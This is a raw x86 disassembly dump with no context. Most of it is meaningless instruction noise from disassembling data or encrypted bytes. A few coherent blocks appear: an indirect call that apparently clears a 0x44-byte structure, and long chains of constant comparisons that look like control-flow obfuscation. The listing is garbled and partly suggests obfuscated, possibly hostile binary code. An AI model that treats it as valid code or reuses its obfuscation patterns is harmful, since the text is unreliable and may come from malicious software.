cmc
stc
cdq
dec esp
mov edi, 0x26cb668f
jle 0x6846aa44
inc eax
invalid
cmp ebp, dword [edx - 0x4f]
salc
or byte [edx + 0x32], dl
not ebp
mov byte [edx], dh
mov esi, 0x396d94d3
push ds
jb 0x6846aa00
dec cl
shl dword [edi + 0x73c4f929], 0x16
aam 0x9c
std
add al, 0x97
adc eax, 0x7d909ad2
test byte [esi - 0x9e293e1], dl
ja 0x6846aaa0
jne 0x6846aa24
mov edx, dword [ebp - 0x246b841]
das
cdq
je 0x6846aa75
retf 0x9a3d
inc sp
xchg ecx, eax
push ds
push ebx
retf
dec edi
imul eax, esp, 0xffffff95
sal dword [edx], 1
invalid
sbb eax, 0xf2987a44
retf 0xb823
invalid
sub byte cs:[eax + edi*2 + 0x4b], 0x57
and dword [esi - 0x1b868e31], ebp
xchg dword [ecx - 0x29], edx
cld
xchg esi, eax
mov ecx, 0xc1a722b
invalid
pop eax
pop eax
sbb esi, dword [ecx - 0x7f]
in eax, dx
nop
int3
and byte [edx + 0x6258371b], 0xa8
dec ecx
dec esp
jns 0x6846d331
fucomi st(5)
push 0x14
adc ch, dl
lds edx, [edi + 0x29bcedc0]
test al, 0xb
out 0x4c, eax
inc edi
jg 0x6846d30b
sbb al, byte [ecx + 0x68cbd952]
ret
push eax
xchg ecx, eax
pop ebx
xor al, 0x5e
mov edi, 0x63b27483
pop ebp
outsb dx, byte [esi]
out dx, al
cli
pop ebx
into
pop ds
sar byte [esi], 1
xchg byte [ecx], dl
mov eax, 0x5d8f85e9
call 0x13d71463
aad 0x9e
cmc
fisttp word [edx + 0x58]
enter 0xffffffffffffd3a0, 0xfffffffffffffff4
popal
hlt
ret 0x229b
popal
mov esp, 0x7706dc3
pushfd
or byte [ecx], 0xa6
lodsd eax, dword [esi]
inc dx
sub byte [ebx - 0x45], bl
popfd
adc al, 0x87
or byte es:[edx + 0x5e], bh
pop esi
pop eax
aas
xchg esp, eax
push 0x5b5f1853
and dl, byte [ebx + 0x5360ec30]
scasd eax, dword es:[edi]
add dword [edi], ebx
cwde
jns 0x6846f208
pop ecx
sbb eax, 0xc2bd5a6
and bl, bl
pop dword [ebp - 0x71]
sar ecx, 0x83
sti
adc byte [ecx + edi*2 + 0xb], al
mov al, 0x1e
jno 0x6846f263
or esi, dword [eax + 0x372f711e]
aaa
test byte [edx + ebp*4], 0x75
test eax, 0xe4f67805
enter 0x72f9, 0x52
push cs
enter 0x78f3, 0x38
loopne 0x6846f22f
xchg dword [esi - 0x6c], esp
mov ecx, 0x99bea2a5
rcl al, cl
clc
out 0x34, al
fist dword [eax + 0x1f21e9cc]
add byte [eax], al
jno 0x6846f1f2
mov eax, 0x185906d
test dword [ecx], eax
pop esp
mov dword [edi], 0x1e2ab178
ret
mov edx, edx
fidivr word [esi - 0x156c62f3]
retf
mov al, 0xba
pop ss
dec ebp
test eax, 0xe4c66f75
cmp ebp, ebp
daa
loop 0x68470722
pushal
fbstp tbyte [ebp + 0x7c36a2d5]
add dword [edx + 0x573ef6bc], edx
mov al, byte [0x75e21d46]
sbb ecx, dword [ebx + 0x36]
and esp, dword [ebp + 0x8ef31ea]
mov ch, 0x34
invalid
nop
jmp 0x6847117f
nop
mov eax, dword [0x68b07018]
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea edx, [ebp - 0x1fc]
mov dword [esp], edx
call eax
mov dword [ebp - 0x58], 0x98641
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x60], 0x973fd
mov dword [ebp - 0x5c], 0
mov ecx, dword [ebp - 0x58]
mov ebx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x68]
xor eax, 0x12fa3e
or eax, dword [ebp - 0x64]
je 0x6847a530
mov edx, 0x12fa3e
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6847a533
mov eax, dword [ebp - 0x68]
xor eax, 0xe6ddb
or eax, dword [ebp - 0x64]
je 0x68477bb3
mov edx, 0xe6ddb
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6847a533
mov eax, dword [ebp - 0x68]
xor eax, 0xd7e8f
or eax, dword [ebp - 0x64]
je 0x68479073
mov edx, 0xd7e8f
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6847a533
mov eax, dword [ebp - 0x68]
xor eax, 0xd5514
or eax, dword [ebp - 0x64]
je 0x68475c93
mov edx, 0xd5514
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6847a533
mov eax, dword [ebp - 0x68]
xor eax, 0xd0e32
or eax, dword [ebp - 0x64]
je 0x68473d73
mov edx, 0xd0e32
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6847a533
mov eax, dword [ebp - 0x68]
xor eax, 0xa43d0
or eax, dword [ebp - 0x64]
je 0x68473313
mov edx, 0xa43d0
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6847a533
mov eax, dword [ebp - 0x68]
xor eax, 0x99195
or eax, dword [ebp - 0x64]
je 0x684747d3
mov edx, 0x99195
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6847a533
mov eax, dword [ebp - 0x68]
xor eax, 0x83fe9
or eax, dword [ebp - 0x64]
je 0x68471e53
mov edx, 0x83fe9
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6847a533
mov eax, dword [ebp - 0x68]
xor eax, 0x7d370
or eax, dword [ebp - 0x64]
je 0x68477153
mov edx, 0x7d370
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6847a533
mov eax, dword [ebp - 0x68]
xor eax, 0x7ad15
or eax, dword [ebp - 0x64]
je 0x684713f3
mov edx, 0x7ad15
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6847a533
mov eax, dword [ebp - 0x68]
xor eax, 0x724a6
or eax, dword [ebp - 0x64]
je 0x68478613
mov edx, 0x724a6
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6847a533
mov eax, dword [ebp - 0x68]
xor eax, 0x4dd7b
or eax, dword [ebp - 0x64]
pushfd
je 0x68475233
mov edx, 0x4dd7b
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6847a533
mov eax, dword [ebp - 0x68]
xor eax, 0x2ec2c
or eax, dword [ebp - 0x64]
je 0x684766f3
mov edx, 0x2ec2c
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6847a533
mov eax, dword [ebp - 0x68]
xor eax, 0x12fe4
or eax, dword [ebp - 0x64]
je 0x68479ad3
mov eax, dword [ebp - 0x68]
xor eax, 0x2072d
or eax, dword [ebp - 0x64]
je 0x684728b3
jmp 0x6847a533
je 0x68471388
mov byte [0x972c5af0], al
push 0x1d
in al, 0x26
or dh, byte [ecx + 0x73]
lcall 0x7de9, 0xa7e61eed
xor byte [ecx], ah
cmp dword [ebx - 0x5245fa97], 0xffffffc5
dec edx
add al, 0xec
push esp
and dword [0x4e4d4477], ecx
cdq
dec ecx
sub al, 0x87
in eax, dx
fsubp st(5)
test dword [0x9780f628], esp
jmp 0x16572d11
xlatb
or edi, esp
push es
shl byte [edi - 0x201433af], cl
or dh, cl
out 0x55, eax
sub al, 0x8b
xor ch, byte [ecx]
jg 0x68471e54
inc edx
cld
xchg ebx, eax
mov ah, 0x73
mov dl, 0x32
clc
test eax, 0xb7f9d3bb
push cs
out 0x71, al
sbb al, 0xef
mov dh, 0x98
fiadd dword [ebx + ebp*2 + 0x21]
push 0x6a1e33f2
jmp 0x68471efb
invalid
div edx
cmp eax, 0x6dd6e354
loop 0x684728cb
movsd dword es:[edi], dword [esi]
cdq
jae 0x68472909
fnstsw word [edi]
cmc
mov esi, dword [eax - 0x75]
shl edi, 0x70
mov cl, 0x6c
inc ecx
xchg esi, eax
xor eax, 0xf08dda25
pop ss
dec eax
je 0x684728bf
in eax, dx
shl byte [edx + 0x7e], 1
mov word [ebp + 0x2e], fs
jnp 0x684728fe
mov esi, 0x81e9cc90
jl 0x684728b2
add byte [edi - 0x37], dh
ja 0x6847287e
scasd eax, dword es:[edi]
movsb byte es:[edi], byte [esi]
dec ebp
invalid
iretd
jae 0x684728a9
fmul qword [eax + 0x40c8ceec]
add eax, ecx
or al, 5
in al, dx
into
enter 0x340, 0xffffffffffffffc1
hlt
salc
invalid
jne 0x684728cc
ret 0x2bac
push cs
adc dword [esp + edi - 0x22f99748], edi
in eax, dx
xchg dh, bh
jg 0x6847332e
stc
out 0xd5, eax
mov ecx, dword [eax - 0x7c014dc8]
out 0xb1, al
dec esp
shr byte [ecx], 1
mov edx, 0x508b5be1
ret 0x80b3
push ecx
sbb al, 0xed
rol edx, 0x4a
pop ss
retf
inc ebp
pop es
sbb eax, 0x88f00848
xchg dword [edx - 0x592af2b2], esi
loopne 0x68473d1a
aam 0x60
push 0xffffffffffffffb9
pop es
push ecx
and al, 0x75
pop ecx
in al, dx
inc edx
sub dl, byte [eax]
xor esp, dword [ebp + ebp*4 + 0x70eed382]
mov bl, 0xc0
jecxz 0x68473e11
xor byte [ecx], bl
lds esi, [edx]
fistp qword [0x44be35f3]
cmp eax, 0x44be35f3
mov ah, 0xde
mov eax, dword [0x7e005830]
adc al, 0x30
xchg edi, eax
jns 0x68473dca
jle 0x68473dc0
xor byte [edi + 0x28fb1a79], dl
xor eax, 0x7ed3d8b8
sti
sub byte [0x7ed3d8b8], dh
mov ah, 0xa6
stosd dword es:[edi], eax
xchg dword [esi + 0x7a], esp
inc esi
aam 0x9c
sub eax, 0xf62b4024
jg 0x68473d9f
fiadd dword [ebx - 0x19]
inc ebx
inc ebx
out 0x43, eax
aas
and byte [edx - 0x76580da6], cl
out 0x6c, eax
mov al, 0xf8
and edx, dword [eax]
scasb al, byte es:[edi]
fistp word [ebp - 0x2527cca9]
cmpsd dword [esi], dword es:[edi]
inc eax
shr cl, 1
jae 0x68473daa
pop edi
mov eax, 0xea8938b2
jno 0x68473de5
xchg esp, eax
pop esi
outsd dx, dword [esi]
lds ecx, [ebp + 0x3adfccfb]
in eax, dx
mov ah, 0xca
test al, 0x85
pop esp
inc esp
test byte [esi + 0x1f], ch
and eax, dword [esi + 0x4c96b9fa]
ja 0x68473d8f
mov dword [0xc6de249e], eax
mov ebx, 0xa4b354a2
sub byte [eax - 0x79dcb5d5], dl
or al, byte [ecx + 0x61]
mov byte [0x28a4b354], al
nop
sub ecx, dword [edx + 0x23]
xchg byte [edx], cl
inc ecx
popal
test al, 0x79
test dword [ecx - 0x49], 0xa3d7e5c6
inc ebx
sub byte [eax + 0x1bd56a49], al
mul dword [edx]
retf 0x5a7a
inc ebx
pop edi
pushal
xchg ebp, ecx
fcomp qword [0x5a6785]
inc ebx
xor ecx, dword [edi]
xor byte [edi - 0x22], dl
add al, 0xa1
stosd dword es:[edi], eax
mov al, byte [0x160c07ea]
xchg ebp, eax
push es
popal
add esi, dword [edx*2 + 0x238eb80c]
pop es
int 0xa1
lcall 0x9d30, 0xeb64bc3e
aad 0x13
std
lahf
ror ebp, 1
jmp 0x21cf8cb7
rcr dword [edi - 0x53], cl
push ebx
or dh, byte [ecx + 0x76]
in al, 0x33
shr dh, 1
mov bh, byte [ebx]
aad 0x90
cmpsb byte [esi], byte es:[edi]
xlatb
das
xchg ebp, eax
inc edi
mov eax, dword [0x2510ad05]
mov dword [esi], ebx
dec ecx
adc dword [esi], ecx
mov ds, edi
sbb eax, 0x9e1f6619
sbb al, 0xb6
out 0xb6, eax
arpl word [edx + 0x68], bx
test dword [eax + 0x688819cd], edi
cdq
mov dh, 0x9e
push ebp
add dh, ah
xor eax, 0x662dd758
cmp ebx, dword [esi + 0x60]
jp 0x6847524f
or esp, dword [ebx]
pop edi
insb byte es:[edi], dx
test byte [ecx - 0x61], dl
inc ebx
mov byte [0x9f99c887], al
sahf
mov ch, byte [ebp - 0x68]
push edi
pop edx
imul esi, dword [ecx], 0x1a8df6bf
cli
add al, 0xca
jno 0x68475236
invalid
jne 0x68475cf9
call 0xd12eac09
imul ecx, eax, 0x7b1e4acd
pop edi
mov al, byte [0x7c96d832]
mov eax, 0xb4b1cd0
jmp 0x68475d21
pop ebx
dec edx
rcr dword [ebx + 0x79463fd0], 1
and byte [edi], ch
mov ch, 0x90
mov al, byte [0x6a7aaa70]
jp 0x68475d65
push esp
mov ebp, 0xe256cc78
inc ecx
mov cl, 0x4f
je 0x68475d5a
mov bl, 0xdc
pop ebp
push 0xfffffffffffffff9
sbb ecx, ecx
xchg dword [esi + 0x49], edi
or eax, 0xe09ac722
inc ebx
dec eax
pop ecx
jecxz 0x68475d06
test al, 0xb8
jle 0x68475cea
cmp byte [esi + 0x52], bl
push edx
sbb al, 0xa3
outsb dx, byte [esi]
push cs
fucom st(3)
inc ebx
popal
stc
pop eax
sub dh, byte [esi + 0x1a]
mov cl, 0x35
mov ah, bl
test eax, 0xb85fe382
salc
stosd dword es:[edi], eax
shr dword [edi], 1
nop
fiadd word [edi]
int 0xae
rcl dh, 1
dec ebp
mov eax, ebx
int3
ret 0xb9cb
movsd dword es:[edi], dword [esi]
hlt
div ebp
insd dword es:[edi], dx
and dword [ecx - 0x1b], eax
xor cl, bl
out dx, al
xchg esp, eax
lcall 0xe44a, 0x67bf9dbe
lcall 0x19fa, 0xfbe3300c
sbb esi, esp
invalid
pop es
mov byte [edi + 0x79], 0x7c
push eax
pop ebx
mov eax, 0x12292d2a
cmpsb byte [esi], byte es:[edi]
dec edi
dec edi
add al, 0xaa
fistp dword [esi - 0x29f9611f]
invalid
cdq
jle 0x68477117
xchg edi, eax
pushfd
mov byte [0xd4e41685], al
jmp 0x684771be
cmpsb byte [esi], byte es:[edi]
xchg ecx, eax
mov cl, 0x2a
in al, 0xcd
imul ecx, edx, 0x69
inc ebp
sbb edi, dword [eax - 0x45fc4e02]
stc
test eax, 0x479c33f4
xor ebp, dword [esi]
fsubr dword [ebp + 0x1d]
mov ebp, 0xace595f0
push ebx
or bh, byte [ecx - 0x1ebe7f7b]
outsd dx, dword [esi]
cmp ebx, dword [ecx + 0x5e]
xchg esp, eax
cmp eax, 0x5486778d
fdivrp st(5)
inc esp
push ss
pop es
bound ecx, qword [esi + 0x3d48a8f3]
mov edi, 0x7d5563c3
cmc
jns 0x68477211
inc ecx
lds edx, [ebx]
salc
adc ah, 0xe8
fldenv [esi]
jge 0x684771e9
out 0x12, eax
retf
insb byte es:[edi], dx
ror byte [eax + edx*2], cl
ret
stosd dword es:[edi], eax
aas
pop ds
invalid
call 0x59b4fd3d
cmp byte [ebx + 6], dh
dec ecx
xchg ecx, eax
retf
jge 0x68478505
pop ss
outsb dx, byte [esi]
call 0xa0812545
add byte [ecx - 0x6b], cl
loope 0x684785bc
xor edi, esi
mov ds, word [edx + 0xc849175]
mov word [esp + eax], gs
mov byte [0x7c35906e], al
mov ecx, 0xe48b0979
and edx, dword [eax - 5]
jns 0x68478500
std
pop es
pop ebx
and esp, dword [esi]
cdq
das
mov edi, dword [ebp - 0x6c1fd778]
pop ss
mov dl, 0x63
jp 0x684785e4
arpl word [edx + 0x63], di
inc edi
jge 0x684785bc
sub byte [0xca0f5919], ah
sub al, 0x6a
xchg esp, eax
leave
and byte [ebx - 0x38cd7ed0], dh
pop es
sbb byte [ecx + 0x64], 0xba
jge 0x684785c4
pop es
mov byte [0xbe0c2e4a], al
adc edi, dword [ebx]
ret 0x806f
jnp 0x6847857e
mov byte [0x1e96765c], al
jbe 0x68478547
push ds
and edx, dword [edi + 0x6fb88bd3]
mov byte [0xb7e950f], al
mov dh, 0xaf
imul ecx, dword [ebp + edx*8 - 0x1a848f69], 0x20
or esi, dword [esi - 0x2a739451]
xchg edi, eax
jo 0x68478640
jnp 0x684785ab
in eax, 0x20
and bl, cl
jecxz 0x684785e3
retf
add byte [ebx - 0x598b7a1c], ch
das
cli
adc dword [edi], edx
out dx, eax
xor al, 0xa9
push es
popal
adc dword [ebx + 0x7e938d82], esp
mov dh, 0x25
imul ecx, eax, 0xfb8f4780
add byte [edi - 0x71], 0xfb
inc edi
invalid
sub dword [ebx - 0x23], edx
inc ebx
lodsd eax, dword [esi]
sbb al, 0xe4
sub dword [eax - 0x3ac7f3c3], ebp
pop ss
invalid
cmp ecx, esi
jo 0x68478653
ja 0x68478644
test eax, 0x70f09f6
mov cl, 0x7e
xchg byte [ebp + 0x49], al
xchg edx, eax
js 0x684785af
mov bl, 0xb0
pop esi
xor ebx, eax
push eax
retf
hlt
cwde
mov byte [0xa11f8e86], ah
xor eax, 0x54b792a9
mov ds, word [edi]
mov eax, dword [0xb792a935]
push esp
retf 0x9794
neg byte [esi + 0x2e]
adc eax, 0x51b56a75
ja 0x68478648
sahf
stosb byte es:[edi], al
pushfd
xchg ebx, eax
push ebx
inc ebx
push ecx
jl 0x684786cb
pop ebp
movsd dword es:[edi], dword [esi]
nop
or bl, byte [edi - 0x64532e5f]
push edi
clc
mov dh, 0xf7
push ecx
xor byte [edx + 0x3f], dh
jmp 0xca2f3edd
call 0xd8c49edc
jmp 0xf0254dcb
or eax, 0xe9707d18
test esi, 0x8f5887dd
ja 0x684786da
xchg dl, dh
sbb eax, 0x8460b198
jno 0x684786ca
sbb eax, dword [esi + 0x7fca8ca7]
ret
sar esp, 1
xchg edx, eax
push es
sub eax, 0xe9421d7
ret
xchg ebx, eax
xchg edi, eax
out 0xcf, al
dec ebx
test bh, dl
les edx, [edi]
sub byte [esi + 0x5c], cl
mov bh, 0x44
clc
cmpsb byte [esi], byte es:[edi]
add ebp, dword [edi - 0x74412fa3]
mov eax, 0x6a88211
insb byte es:[edi], dx
stosd dword es:[edi], eax
fistp qword [edi + 0x2f]
clc
outsb dx, byte [esi]
call 0x6a195315
add dword [eax + 0x71], ebx
sub eax, ebp
out dx, eax
push ss
mov bh, 0xf6
pop ss
fidiv word [eax]
sbb ebp, dword [ebp + 0x6e]
and dl, byte [esi - 0x16]
pop es
scasb al, byte es:[edi]
dec esi
pop esp
les edx, [0x92c957c0]
push edi
jbe 0x68479b1b
dec ebx
les esi, [eax + 0x35]
jo 0x68479b52
and esi, edi
push ebx
invalid
jge 0x68479b8b
invalid
mov eax, 0x6e4497c7
mov al, 0x81
std
or bh, cl
mov al, 0x43
add al, ch
je 0x68479b72
xchg edi, eax
push eax
insb byte es:[edi], dx
xchg ebp, eax
push eax
cmp al, 0xd5
pop ebx
or al, 0x90
jno 0x68479b37
jmp 0x68479b4b
adc ebp, ebx
imul esp, dword [edx], 0xc7bc72e
adc esp, dword [edi + 0x47]
mov ebx, 0x63f35cb2
cmp byte [ebx], bh
cli
and dl, byte [0x9f86649e]
in al, dx
adc esi, dword [edx]
insb byte es:[edi], dx
jge 0x68479bf7
in al, dx
lea ecx, [ecx - 0x1dea72a]
or ebx, dword [ebx + 0x3e]
dec ebx
invalid
int1
in eax, dx
xor byte [0xe0165239], ch
test al, 0x43
add eax, 0x9abe09e
sbb edi, edx
nop
int3
push edx
and ah, ah
xor dl, byte [edx]
and al, 0x1e
xchg esi, eax
lodsb al, byte [esi]
invalid
push edi
jl 0x68479c0e
mov ah, 0x8b
pop edx
jne 0x68479c08
invalid
sub byte [edi - 0x10648f10], 0x3e
je 0x68479be0
je 0x68479be0
xchg dword [ebx], edi
or dword [0x1ed82724], ecx
fbld tbyte [edx]
je 0x68479bb0
imul edx, edx, 0x19
push ebp
sbb eax, 0x147632a9
cmp ebp, edx
jnp 0x68479c99
rcr dword [edx], 0x5e
outsd dx, dword [esi]
inc ebx
sal dword [eax + 0x6e], 0x2f
jo 0x68479ca0
das
sti
loope 0x68479c30
push ds
pop eax
or ah, bl
adc byte [0x73ec6f23], al
mov byte [0x95fa72ac], al
jae 0x68479c86
mov ebx, 0x92b2bca3
fcomp dword [ecx + eax*2]
inc esp
enter 0xffffffffffffe279, 0xfffffffffffffff6
xchg edx, eax
imul ebx, dword [0xa1f953], 0x5e
pop ds
mov esi, 0xae79bef2
jge 0x68479ccf
les esp, [ecx + edx*2 - 0x7bfd0e4e]
mov al, byte [0x5ae81532]
add dword [eax], ebp
mov ecx, 0xb623a329
hlt
out 0x2c, eax
aad 0x7e
std
pushfd
mov eax, 0x3d06aa1d
pop esp
cmp edi, edx
into
in eax, 0xa7
push ss
stc
sbb edx, dword [esi + 0x7a]
mov al, byte [0x18755012]
push eax
jne 0x68479cbb
jne 0x68479ca3
arpl word [esi - 0x71eefc48], ax
pop esi
mov ebx, 0xc5d0079a
jne 0x68479c4c
nop
int3
mov edx, 0xbed8faa8
and dword [ecx], edx
stosd dword es:[edi], eax
cli
push ebp
test al, 0x47
pop esp
bound eax, qword [eax]
push cs
or ecx, esi
fucompi st(6)
out dx, al
in al, 0xe1
pop esp
sti
sub edi, dword [eax]
xor bh, byte [ebx - 0x500a314f]
push edi
mov eax, 0xac7d09ac
pop edx
jb 0x68479ca0
xchg ebp, eax
sar dword [ebp - 0x70], 1
sbb ah, cl
arpl word [eax + 0x2d], bx
outsb dx, byte [esi]
xor eax, 0x5377d1dc
mov edi, dword [esp]
pop esp
cld
ljmp 0x6862
nop
jmp 0x6847a534
nop
mov dword [ebp - 0x1fc], 0x44
mov dword [ebp - 0x70], 0xf201f
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x78], 0xc11dd
mov dword [ebp - 0x74], 0
mov eax, dword [ebp - 0x6c]
imul eax, dword [ebp - 0x78]
mov edx, eax
mov eax, dword [ebp - 0x74]
imul eax, dword [ebp - 0x70]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x70]
mul dword [ebp - 0x78]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x80]
xor eax, 0x8fa4c9c3
mov edx, dword [ebp - 0x7c]
xor dl, 0xb6
or eax, edx
je 0x68484df1
mov edx, 0x8fa4c9c3
mov eax, 0xb6
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x68484df4
mov eax, dword [ebp - 0x80]
xor eax, 0xec43a
or eax, dword [ebp - 0x7c]
je 0x6847d174
mov edx, 0xec43a
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x68484df4
mov eax, dword [ebp - 0x80]
xor eax, 0xdf304
or eax, dword [ebp - 0x7c]
je 0x6847b254
mov edx, 0xdf304
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x68484df4
mov eax, dword [ebp - 0x80]
xor eax, 0xd978f
or eax, dword [ebp - 0x7c]
je 0x68483934
mov edx, 0xd978f
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x68484df4
mov eax, dword [ebp - 0x80]
xor eax, 0xd03f9
or eax, dword [ebp - 0x7c]
je 0x6847c714
mov edx, 0xd03f9
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x68484df4
mov eax, dword [ebp - 0x80]
xor eax, 0xcd6cd
or eax, dword [ebp - 0x7c]
je 0x6847f094
mov edx, 0xcd6cd
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x68484df4
mov eax, dword [ebp - 0x80]
xor eax, 0xb9d6a
or eax, dword [ebp - 0x7c]
je 0x68480554
mov edx, 0xb9d6a
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x68484df4
mov eax, dword [ebp - 0x80]
xor eax, 0xb9adb
or eax, dword [ebp - 0x7c]
je 0x6847faf4
mov edx, 0xb9adb
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x68484df4
mov eax, dword [ebp - 0x80]
xor eax, 0x983e2
or eax, dword [ebp - 0x7c]
je 0x68482474
mov edx, 0x983e2
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x68484df4
mov eax, dword [ebp - 0x80]
xor eax, 0x87ba7
or eax, dword [ebp - 0x7c]
je 0x68484394
mov edx, 0x87ba7
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x68484df4
mov eax, dword [ebp - 0x80]
xor eax, 0x6961d
or eax, dword [ebp - 0x7c]
je 0x68482ed4
mov edx, 0x6961d
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x68484df4
mov eax, dword [ebp - 0x80]
xor eax, 0x615ec
or eax, dword [ebp - 0x7c]
je 0x68480fb4
mov edx, 0x615ec
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x68484df4
mov eax, dword [ebp - 0x80]
xor eax, 0x4ca0c
or eax, dword [ebp - 0x7c]
je 0x6847dbd4
mov edx, 0x4ca0c
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x68484df4
mov eax, dword [ebp - 0x80]
xor eax, 0x3bd86
or eax, dword [ebp - 0x7c]
je 0x6847e634
mov edx, 0x3bd86
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x68484df4
mov eax, dword [ebp - 0x80]
xor eax, 0x143a9
or eax, dword [ebp - 0x7c]
je 0x68481a14
mov edx, 0x143a9
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x68484df4
mov eax, dword [ebp - 0x80]
xor eax, 0x734
or eax, dword [ebp - 0x7c]
je 0x6847a7f4
mov eax, dword [ebp - 0x80]
xor eax, 0xc072
or eax, dword [ebp - 0x7c]
je 0x6847bcb4
jmp 0x68484df4
mov dh, 0xe9
ljmp 0xf14c
test eax, 0xda567607
invalid
imul ebx, dword [0xbe10150e], 0x84582e2e
adc eax, 0x9c66c9f8
sar dword [edx], 1
aam 0x6b
jo 0x6847b2d3
xor dword [ebp - 0x24c4ec32], esi
js 0x6847b23e
das
test dword [eax], ebx
sub bl, 0x17
xchg ebp, eax
pushfd
push eax
xchg esp, eax
dec ecx
pop edi
sbb eax, 0xd6dd4742
sub bh, bl
out dx, al
enter 0xc1c, 0xffffffffffffffa1
jns 0x6847b2dc
fld qword [edx - 0x60]
mov esp, 0xbe95aad
fdivr dword [esi + 0x10]
ljmp 0xabc1
inc ebp
retf
push edi
xlatb
push ss
jne 0x6847b32c
les ecx, [ebx + 0x3b]
pop esi
sbb byte [ebp + 0x3775b52c], cl
sal dword [esi - 0x63633d24], cl
pop es
inc ecx
mov dh, 0xe2
inc edx
leave
jmp 0x6847b31e
sbb edx, ebx
mov bl, 0x27
cmpsb byte [esi], byte es:[edi]
add cl, dl
or eax, 0x8c162a08
mov dword [0x246a233], eax
inc ebp
cmovb esi, dword [edx]
mov eax, dword [0x91d3e94d]
xor esp, dword [edx + 0xf450246]
inc edx
xor ah, byte [ecx - 0x6e2c16b3]
in eax, 0xaf
push cs
mov byte ds:[eax], ah
add dword [edx], ebp
aaa
aam 0x90
int3
sbb dword [0x2e776d35], edx
jmp 0x4598d425
mov cl, byte [eax - 0x7c84f882]
dec edi
lea edx, [esi - 0x23]
rcr byte [ebx], 0x4a
jmp 0x2992e441
scasd eax, dword es:[edi]
idiv dword [ebp - 0x2bfccc0a]
sbb ch, byte [ecx]
adc dword [0x1be63b97], ecx
jmp 0x6847c6ab
inc edi
imul ecx, dword [eax + 0x451ec8a9], 0xffffff8c
lahf
pop es
inc edi
imul ecx, dword [esi + 0x22], 0x79
and byte [eax], al
inc ecx
xchg esi, eax
add al, 0x19
in al, 0xb5
dec ebp
push edi
inc ecx
shr edi, 1
imul ebx, dword [ebp - 0x6b], 0xffffffba
dec edx
in al, dx
or eax, 0x147bfe37
push eax
push esi
adc dword [eax + 0x6c], 0xffffff87
adc dword [edx - 0x7c], 3
pop ebx
xchg edi, eax
pop eax
push 0x3e
inc ebx
ljmp 0x56f3
invalid
sub al, 0x7f
push ebx
out dx, eax
jle 0x6847e666
cmp al, 0x1a
aas
sub byte [edx], cl
cmp dh, dh
js 0x6847e689
dec eax
out dx, al
inc edi
mov byte [eax + 0x1d820988], al
pushfd
xor al, 0xba
mov ch, byte [edi + 0x7df228b4]
cmp ebx, dword [edi]
sbb dword [eax - 0x70af67ed], ebp
or al, byte [ebx + 0x24ddd2a]
sub ch, byte [esi + 0x778b2a6f]
cmpsd dword [esi], dword es:[edi]
iretd
sub cl, byte [ebx + 0x26cfa777]
adc byte [eax - 0x76], dl
mov esi, 0x7fdd07f6
cmc
push ebx
fcom dword [ebx + 0x37]
dec eax
jle 0x6847e6ae
pop dword [esi + 0x139abaea]
or al, 0xe8
or dword [ebx], edx
fidivr word es:[eax]
or ah, byte [ebp - 0xb0a45e3]
cmp eax, 0x59129256
or edx, dword [esi + 0x40]
cmp byte [edx], cl
movsd dword es:[edi], dword [esi]
sbb eax, 0x3df4f5ba
push esi
xchg edx, eax
adc bl, byte [ecx + 0xb]
push esi
inc eax
pop ss
pop edi
pop ds
mov eax, 0x603089ce
